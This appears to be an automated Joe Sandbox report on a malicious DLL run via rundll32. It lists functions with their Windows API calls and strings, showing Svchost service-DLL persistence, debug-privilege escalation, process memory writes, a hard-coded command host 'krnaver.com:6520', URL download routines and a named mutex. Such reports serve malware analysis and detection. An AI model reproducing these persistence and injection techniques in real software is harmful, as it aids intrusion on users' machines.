Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID: bad d_code
API String ID: 0-2582332627
Opcode ID: 327568906bed5a48e17ba06d2ddebb37f7008130ae1c85090ddd3765f816ae03
Instruction ID: 5051aabb8c8f42bf7f0ad7204590e299647211c71809f1c43ca0660982d1e5e8
Opcode Fuzzy Hash: 327568906bed5a48e17ba06d2ddebb37f7008130ae1c85090ddd3765f816ae03
Instruction Fuzzy Hash: 1541E3751082429FE315EF69D840EFF77E6EF88284F45846EF8858B205EB70E905C7A2

Function 1000F500 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d8292dab876d3856fe77b003576302b6b8b57554ab1a7fa92ce49e5c0b0693b
Instruction ID: aa392b9c8528f05fc8196833d7f7bb75810528e03076ef8e7fbf563dca482b86
Opcode Fuzzy Hash: 5d8292dab876d3856fe77b003576302b6b8b57554ab1a7fa92ce49e5c0b0693b
Instruction Fuzzy Hash: C8315222BB90A207E354CEBD9CC4277B793D7CA246B6DC67CD588C7A1EC83AD8075250

Function 10006330 Relevance: 38.7, APIs: 18, Strings: 4, Instructions: 211filesleepinjectionCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 100063C2
wsprintfA.USER32 ref: 10006434
wsprintfA.USER32 ref: 1000644D
CreateDirectoryA.KERNEL32(?,00000000), ref: 1000645C
WriteProcessMemory.KERNEL32(00000000,?,?,00000009,00000000), ref: 1000649A
time.MSVCRT(00000000), ref: 100064B7
srand.MSVCRT ref: 100064BE
rand.MSVCRT ref: 100064C7
rand.MSVCRT ref: 100064D5
rand.MSVCRT ref: 100064E3
rand.MSVCRT ref: 100064F1
rand.MSVCRT ref: 100064FF
rand.MSVCRT ref: 1000650D
wsprintfA.USER32 ref: 10006525
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000000,00000000), ref: 1000653E
CloseHandle.KERNEL32(00000000), ref: 10006545
Sleep.KERNEL32(000003E8), ref: 10006550
DeleteFileA.KERNEL32(?), ref: 1000655B

Strings

c:\windows\system32\drivers\%s\%s, xrefs: 10006447
%s\%s, xrefs: 100063BB
c:\windows\system32\drivers\etc\%c%c%c.%c%c%c, xrefs: 1000651F
c:\windows\system32\drivers\%s, xrefs: 1000642E

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: rand$wsprintf$CreateFile$CloseDeleteDirectoryHandleMemoryProcessSleepWritesrandtime
String ID: %s\%s$c:\windows\system32\drivers\%s$c:\windows\system32\drivers\%s\%s$c:\windows\system32\drivers\etc\%c%c%c.%c%c%c
API String ID: 3377497938-1917988604
Opcode ID: 0dba42889dc0f8d7b8647c302bd0f7389d4fc49d2d206becb2fc758216d159f0
Instruction ID: c69659560551726c28aa303df1a51e06c88e31100adfc53adbd4189e51445300
Opcode Fuzzy Hash: 0dba42889dc0f8d7b8647c302bd0f7389d4fc49d2d206becb2fc758216d159f0
Instruction Fuzzy Hash: C661C175204345AFE724CB64CC85BEAB7E6EBCC310F048A2CF64597295DB78E6488652

Function 1000821F Relevance: 38.7, APIs: 14, Strings: 8, Instructions: 180registrystringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 1000826D
lstrlen.KERNEL32(?), ref: 1000828C
wsprintfA.USER32 ref: 100082C3
_CxxThrowException.MSVCRT ref: 100082F2
SetLastError.KERNEL32(00000000), ref: 1000831C
_CxxThrowException.MSVCRT(?), ref: 10008336
RegCloseKey.ADVAPI32(?), ref: 1000833F
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,000F003F,?), ref: 10008391
_CxxThrowException.MSVCRT(?,100147E8), ref: 100083AB
SetLastError.KERNEL32(00000000,?,00000000,00000007), ref: 100083CE
_CxxThrowException.MSVCRT(?,100147E8), ref: 100083E8
GetLastError.KERNEL32(?,100147E8,?,00000000,00000007), ref: 100083F9

Strings

Description, xrefs: 1000829B
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost, xrefs: 1000835A
ServiceDll, xrefs: 1000830D
RegSetValueEx(Svchost\krnlsrvc), xrefs: 100083E1
RegOpenKeyEx(Svchost), xrefs: 100083A4
SYSTEM\CurrentControlSet\Services\%s\Parameters, xrefs: 100082BD
RegSetValueEx(ServiceDll), xrefs: 1000832F
SYSTEM\CurrentControlSet\Services\%s, xrefs: 10008267

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: ExceptionThrow$ErrorLast$wsprintf$CloseOpenlstrlen
String ID: Description$RegOpenKeyEx(Svchost)$RegSetValueEx(ServiceDll)$RegSetValueEx(Svchost\krnlsrvc)$SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost$SYSTEM\CurrentControlSet\Services\%s$SYSTEM\CurrentControlSet\Services\%s\Parameters$ServiceDll
API String ID: 3773726178-700256109
Opcode ID: e85c466ea40d437f1592b3b7cade2b8fe84d779c0fe544d688e4eb843793efc8
Instruction ID: c272cb4ee7fe1a7dac79bfe138246f1ba179634c1733e746b5ff744f59549045
Opcode Fuzzy Hash: e85c466ea40d437f1592b3b7cade2b8fe84d779c0fe544d688e4eb843793efc8
Instruction Fuzzy Hash: 7951AE71A00118ABEB15CBA4CC85FEE77E9FB88750F044219FA06A7280DF74DE81CB60

Function 10006A50 Relevance: 36.8, APIs: 7, Strings: 14, Instructions: 96stringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 10006A7E
GetModuleFileNameA.KERNEL32(00000000,c:\windows\SysWOW64\rundll32.exe,00000104,1000BB2D), ref: 10006A95
GetModuleFileNameA.KERNEL32(10000000,c:\agtve\yhnvs.dll,00000104), ref: 10006AA7
strrchr.MSVCRT ref: 10006AD5
wsprintfA.USER32 ref: 10006AED
wsprintfA.USER32 ref: 10006AFE
wsprintfA.USER32 ref: 10006B0F

Strings

%s\ReadMe.txt, xrefs: 10006AE0
Mkrnaver.com:6520, xrefs: 10006B0A
c:\agtve\yhnvs.dll, xrefs: 10006AA1, 10006AA9
M%s, xrefs: 10006B05
%s\version.txt, xrefs: 10006AF4
c:\agtve\version.txt, xrefs: 10006AF9
09121307, xrefs: 10006A6F
09121307.txt, xrefs: 10006A79
ECF4BBEA1588, xrefs: 10006B55
c:\windows\SysWOW64\rundll32.exe, xrefs: 10006A8E
%s.txt, xrefs: 10006A74
c:\agtve, xrefs: 10006ABB, 10006AC4, 10006ADB, 10006AEF
krnaver.com:6520, xrefs: 10006B00
c:\agtve\ReadMe.txt, xrefs: 10006AE5

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: wsprintf$FileModuleName$strrchr
String ID: %s.txt$%s\ReadMe.txt$%s\version.txt$09121307$09121307.txt$ECF4BBEA1588$M%s$Mkrnaver.com:6520$c:\agtve$c:\agtve\ReadMe.txt$c:\agtve\version.txt$c:\agtve\yhnvs.dll$c:\windows\SysWOW64\rundll32.exe$krnaver.com:6520
API String ID: 1444062329-336646113
Opcode ID: fd1de15f43c206347c2ac9a46dc33d443f248e52294ce5f81c6693700653e1e0
Instruction ID: 04d4b27928b3db94c91fa8a3f6c5c52e8812e2580820e9d4d8c6f0595a90b4de
Opcode Fuzzy Hash: fd1de15f43c206347c2ac9a46dc33d443f248e52294ce5f81c6693700653e1e0
Instruction Fuzzy Hash: D521F671640A116FE318DB798C41FAA7AD1EB88320F554319F7169F2C1CBB4DD85C654

Function 1000F6F0 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 106COMMON

Download Yara Rule

APIs

_mbsicmp.MSVCRT ref: 1000F72E
_mbsicmp.MSVCRT ref: 1000F742
_mbsicmp.MSVCRT ref: 1000F756
_mbsicmp.MSVCRT ref: 1000F76A

Strings

.lzh, xrefs: 1000F778
.arc, xrefs: 1000F764
.tgz, xrefs: 1000F7B4
.zoo, xrefs: 1000F750
.gz, xrefs: 1000F7A0
.zip, xrefs: 1000F73C
.arj, xrefs: 1000F78C

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: _mbsicmp
String ID: .arc$.arj$.gz$.lzh$.tgz$.zip$.zoo
API String ID: 1961004622-51310709
Opcode ID: 808ecf9ba61cca7d35e01d6ffb931e7b3765451d2e58726d03ba59bcbd5b0318
Instruction ID: ee2a091052f8c3b86a9c7290411a3b224c3c8ade4836fbf502385ceb4bcfd2c4
Opcode Fuzzy Hash: 808ecf9ba61cca7d35e01d6ffb931e7b3765451d2e58726d03ba59bcbd5b0318
Instruction Fuzzy Hash: 6B21A22260816221BA00B52D7C406EE93C8CFE20E6B07403BFD58D9A19FB55DDC3A4E7

Function 10005030 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 10005069

Part of subcall function 10004DA0: CreateFileA.KERNEL32(?,MZ@,00000007,00000000,00000004,00000080,00000000), ref: 10004E62
Part of subcall function 10004DA0: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 10004E78
Part of subcall function 10004DA0: time.MSVCRT(00000000), ref: 10004E7F
Part of subcall function 10004DA0: _localtime32.MSVCRT(?), ref: 10004E8E
Part of subcall function 10004DA0: strftime.MSVCRT ref: 10004EA1
Part of subcall function 10004DA0: vsprintf.MSVCRT ref: 10004EF3
Part of subcall function 10004DA0: sprintf.MSVCRT ref: 10004F13

Strings

C:\Windows\6C4DA6FB\svchsot.vir, xrefs: 100050BF
self, xrefs: 1000507A
C:\Windows\6C4DA6FB\svchsot.exe, xrefs: 100050B0, 100050C4
%s.%d, xrefs: 10005102
cmd.exe, xrefs: 10005040, 10005050

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: File$CreateCurrentPointerProcess_localtime32sprintfstrftimetimevsprintf
String ID: %s.%d$C:\Windows\6C4DA6FB\svchsot.exe$C:\Windows\6C4DA6FB\svchsot.vir$cmd.exe$self
API String ID: 3192119092-4191049792
Opcode ID: ec2b08bf7f1156d9c8dcfe4d16c6df7a8508a6621eb8c1214a1196f4b0e722e6
Instruction ID: 7fa6494ac43d5dcc9c5c53410437834f8a30d40188a99b7aa6c5cd6ec2dc6e24
Opcode Fuzzy Hash: ec2b08bf7f1156d9c8dcfe4d16c6df7a8508a6621eb8c1214a1196f4b0e722e6
Instruction Fuzzy Hash: D8112BB26402147BF3119754EC8ABEA3348DF84362F414131F70496181DA76E5A8C6B7

Function 1000A9F0 Relevance: 19.6, APIs: 2, Strings: 9, Instructions: 338COMMON

Download Yara Rule

Strings

REG_DWORD, xrefs: 1000AD9B
REG_BINARY, xrefs: 1000ADE9
[%s], xrefs: 1000AC75
REG_EXPAND_SZ, xrefs: 1000AD5F
JS0yNHMgJS0xNXMgMHgleCglZCkgXHJcbg==, xrefs: 1000ADA7
REG_SZ, xrefs: 1000AD51
JS0yNHMgJS0xNXMgJXMgXHJcbg==, xrefs: 1000AD6B
JS0yNHMgJS0xNXMgXHJcbg==, xrefs: 1000ADD2, 1000ADF5
REG_MULTI_SZ, xrefs: 1000ADC6

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: Open
String ID: JS0yNHMgJS0xNXMgJXMgXHJcbg==$JS0yNHMgJS0xNXMgMHgleCglZCkgXHJcbg==$JS0yNHMgJS0xNXMgXHJcbg==$REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_SZ$[%s]
API String ID: 71445658-1435378120
Opcode ID: bd973036ceaf793e645ef01d76d6486dd3db76796ff37db88c669a367f4bbfe9
Instruction ID: 3f2a93cd4c3d7343f0a580605e2b8078640624975132d2b922564d29651d2999
Opcode Fuzzy Hash: bd973036ceaf793e645ef01d76d6486dd3db76796ff37db88c669a367f4bbfe9
Instruction Fuzzy Hash: 7CC1A8B6900158AFEB14CF94DC41FDFB3B9EB89350F004299F619A7184EB74AE84CB91

Function 10006710 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 96threadCOMMON

Download Yara Rule

APIs

Part of subcall function 10006090: strrchr.MSVCRT ref: 1000610E
Part of subcall function 10006090: strncpy.MSVCRT ref: 10006125
Part of subcall function 10006090: strncpy.MSVCRT ref: 1000612F
Part of subcall function 10006090: GetSystemInfo.KERNEL32(?), ref: 10006139
Part of subcall function 10006090: GetCurrentProcess.KERNEL32(00000020,?), ref: 1000615A
Part of subcall function 10006090: OpenProcessToken.ADVAPI32(00000000), ref: 10006161
Part of subcall function 10006090: LookupPrivilegeValueA.ADVAPI32(00000000,SeDebugPrivilege,?), ref: 10006172
Part of subcall function 10006090: AdjustTokenPrivileges.ADVAPI32 ref: 100061A7
Part of subcall function 10006090: CloseHandle.KERNEL32(00000010), ref: 100061B2
Part of subcall function 10006090: sscanf.MSVCRT ref: 100061DD

wsprintfA.USER32 ref: 10006752

Part of subcall function 100061F0: strchr.MSVCRT ref: 10006246

wsprintfA.USER32 ref: 100067B8
wsprintfA.USER32 ref: 100067D1
CreateDirectoryA.KERNEL32(?,00000000), ref: 100067DC

Part of subcall function 10005130: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,00000000,100094AF,?,?,?), ref: 10005149
Part of subcall function 10005130: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 1000516B
Part of subcall function 10005130: CloseHandle.KERNEL32(00000000), ref: 10005172

OpenProcess.KERNEL32(001F0FFF,00000000,00000000), ref: 1000681A
CreateThread.KERNEL32(00000000,00000000,100065E0,00000000,00000000,00000000), ref: 10006841

Strings

c:\windows\system32\drivers\%s\%s, xrefs: 100067CB
%s\%s, xrefs: 1000674C
Win32_process, xrefs: 100067F7
c:\windows\system32\drivers\%s, xrefs: 100067B1
ROOT\CIMv2, xrefs: 100067FC

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: CreateProcesswsprintf$CloseFileHandleOpenTokenstrncpy$AdjustCurrentDirectoryInfoLookupPrivilegePrivilegesSystemThreadValueWritesscanfstrchrstrrchr
String ID: %s\%s$ROOT\CIMv2$Win32_process$c:\windows\system32\drivers\%s$c:\windows\system32\drivers\%s\%s
API String ID: 3642037362-1421401311
Opcode ID: 959fb8fba947e54388e467c1008752361763f84d015db73d1a953f87127b373f
Instruction ID: 4b2977ad490d08696dca791de939d207079566f8b39031e4ddb8eae90f5a8ad1
Opcode Fuzzy Hash: 959fb8fba947e54388e467c1008752361763f84d015db73d1a953f87127b373f
Instruction Fuzzy Hash: FA31BF71504344BBE321CBA8CD84AEBBB9AEB8D340F40492DF25597242DB35E944CB63

Function 10011A56 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 187librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?), ref: 10011AFC
GetLastError.KERNEL32 ref: 10011B08
RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 10011B3B
InterlockedExchange.KERNEL32(?,00000000), ref: 10011B4D
LocalAlloc.KERNEL32(00000040,00000008), ref: 10011B61
FreeLibrary.KERNEL32(00000000), ref: 10011B7E
GetProcAddress.KERNEL32(?,?), ref: 10011BDF
GetLastError.KERNEL32 ref: 10011BEB
RaiseException.KERNEL32(C06D007F,00000000,00000001,?), ref: 10011C1D

Strings

$, xrefs: 10011A72

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: ErrorExceptionLastLibraryRaise$AddressAllocExchangeFreeInterlockedLoadLocalProc
String ID: $
API String ID: 991255547-3993045852
Opcode ID: a73b7cc8c625f911e0734331049b328756f35cc78c5a687038707bc00ce3fec9
Instruction ID: a354a1ddeb452cab2ad2ab051f5ed65d06ba3f599703faf405cad435a4b3e081
Opcode Fuzzy Hash: a73b7cc8c625f911e0734331049b328756f35cc78c5a687038707bc00ce3fec9
Instruction Fuzzy Hash: BA612DB5A0420A9FEB19CF99C8C1AEA77F5EB48350F11812DE905DB251E770EE84CB60

Function 10008A70 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 177networkCOMMON

Download Yara Rule

APIs

Part of subcall function 100075F0: strstr.MSVCRT ref: 1000769B
Part of subcall function 100075F0: strstr.MSVCRT ref: 100076BF
Part of subcall function 100075F0: strcspn.MSVCRT ref: 100076CE
Part of subcall function 100075F0: strstr.MSVCRT ref: 100076DA
Part of subcall function 100075F0: strcspn.MSVCRT ref: 100076E9
Part of subcall function 100075F0: strncpy.MSVCRT ref: 100076F2
Part of subcall function 100075F0: strstr.MSVCRT ref: 1000772F
Part of subcall function 100075F0: strcspn.MSVCRT ref: 10007742

Part of subcall function 10006B90: setsockopt.WS2_32(?,0000FFFF,00000008,?,00000004), ref: 10006BA7

Part of subcall function 10006F20: RegOpenKeyExA.KERNEL32(80000002,?,00000000,000F003F,?,?,?,?), ref: 10006F4F
Part of subcall function 10006F20: GlobalMemoryStatusEx.KERNEL32(?), ref: 10007009
Part of subcall function 10006F20: GetSystemDefaultUILanguage.KERNEL32(?,?,?,?,?,?), ref: 10007062

send.WS2_32(00000000,?,00000128,00000000), ref: 10008ADF
closesocket.WS2_32(00000000), ref: 10008AEB
select.WS2_32 ref: 10008B41
closesocket.WS2_32(00000000), ref: 10008C33
InterlockedExchange.KERNEL32(1001B6A0,00000001), ref: 10008C44

Strings

zip, xrefs: 10008C85
SeShutdownPrivilege, xrefs: 10008BC7, 10008BE3

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: strstr$strcspn$closesocket$DefaultExchangeGlobalInterlockedLanguageMemoryOpenStatusSystemselectsendsetsockoptstrncpy
String ID: SeShutdownPrivilege$zip
API String ID: 619725691-4289258210
Opcode ID: b5eb4e8b9dd09d5d0053c07554e98b6b0746b7bdf66f2196c35ecf5b0e9c48ff
Instruction ID: 7a5603a2a2216d2e1622d78d4c03b43238dfd1876f0237c8316e7908159126a5
Opcode Fuzzy Hash: b5eb4e8b9dd09d5d0053c07554e98b6b0746b7bdf66f2196c35ecf5b0e9c48ff
Instruction Fuzzy Hash: 0551D6B1544305AAF320DB648C85FEB76E9FB843D0F104929FA49D91C6EB74E644CBB2

Function 10007250 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 131libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(urlmon.dll,00000001,00000001,?), ref: 10007267
LoadLibraryA.KERNEL32(wininet.dll), ref: 10007270
GetProcAddress.KERNEL32(00000000,URLDownloadToCacheFileA), ref: 10007299
GetProcAddress.KERNEL32(00000000,GetUrlCacheEntryInfoA), ref: 100072A4

Strings

WinSta0\Default, xrefs: 100073A2
URLDownloadToCacheFileA, xrefs: 10007288
urlmon.dll, xrefs: 10007262
wininet.dll, xrefs: 10007269
GetUrlCacheEntryInfoA, xrefs: 1000729B

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetUrlCacheEntryInfoA$URLDownloadToCacheFileA$WinSta0\Default$urlmon.dll$wininet.dll
API String ID: 2574300362-1569318151
Opcode ID: 04083978eb23d12a34f0fee697af90656df796dc382c12a5cf3d9f7be74f32bc
Instruction ID: c0467908c50afa1d83c3b06bf8344a948e458b4db3363e6c89df874e13e7bd38
Opcode Fuzzy Hash: 04083978eb23d12a34f0fee697af90656df796dc382c12a5cf3d9f7be74f32bc
Instruction Fuzzy Hash: CC41CC31A0051C6BDB25C6B8CC51BEF7666FB88320F550369F716AB2C1DAF15E45CB44

Function 10008440 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 30synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 10004F60: GetCurrentProcess.KERNEL32(00000028,00000000,?,1000BB89,SeDebugPrivilege,00000001), ref: 10004F6A
Part of subcall function 10004F60: OpenProcessToken.ADVAPI32(00000000,?,1000BB89,SeDebugPrivilege,00000001), ref: 10004F71
Part of subcall function 10004F60: LookupPrivilegeValueA.ADVAPI32(00000000,?,?), ref: 10004F87
Part of subcall function 10004F60: AdjustTokenPrivileges.KERNELBASE ref: 10004FCA
Part of subcall function 10004F60: CloseHandle.KERNEL32 ref: 10004FD5

CreateMutexA.KERNEL32(00000000,00000001,Global\98012trt8-d8dfsf,?,100084BC), ref: 1000845B
GetLastError.KERNEL32(?,100084BC), ref: 10008463
ReleaseMutex.KERNEL32(00000000,?,?,?,100084BC), ref: 1000848D
CloseHandle.KERNEL32(00000000,?,?,?,100084BC), ref: 10008494

Strings

Global\98012trt8-d8dfsf, xrefs: 10008453
ERROR_ALREADY_EXISTS, xrefs: 10008475
SeDebugPrivilege, xrefs: 10008444
c:\11.txt, xrefs: 1000847A

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: CloseHandleMutexProcessToken$AdjustCreateCurrentErrorLastLookupOpenPrivilegePrivilegesReleaseValue
String ID: ERROR_ALREADY_EXISTS$Global\98012trt8-d8dfsf$SeDebugPrivilege$c:\11.txt
API String ID: 3631164735-4205529783
Opcode ID: 371d1544536f455d4ff2881a43cd085a9ecfe5f63921b749fa4ab69506bf8e29
Instruction ID: 925e2da293242ab0c133c8592058369d05a2f9f499b66df2af7b6b931c45f916
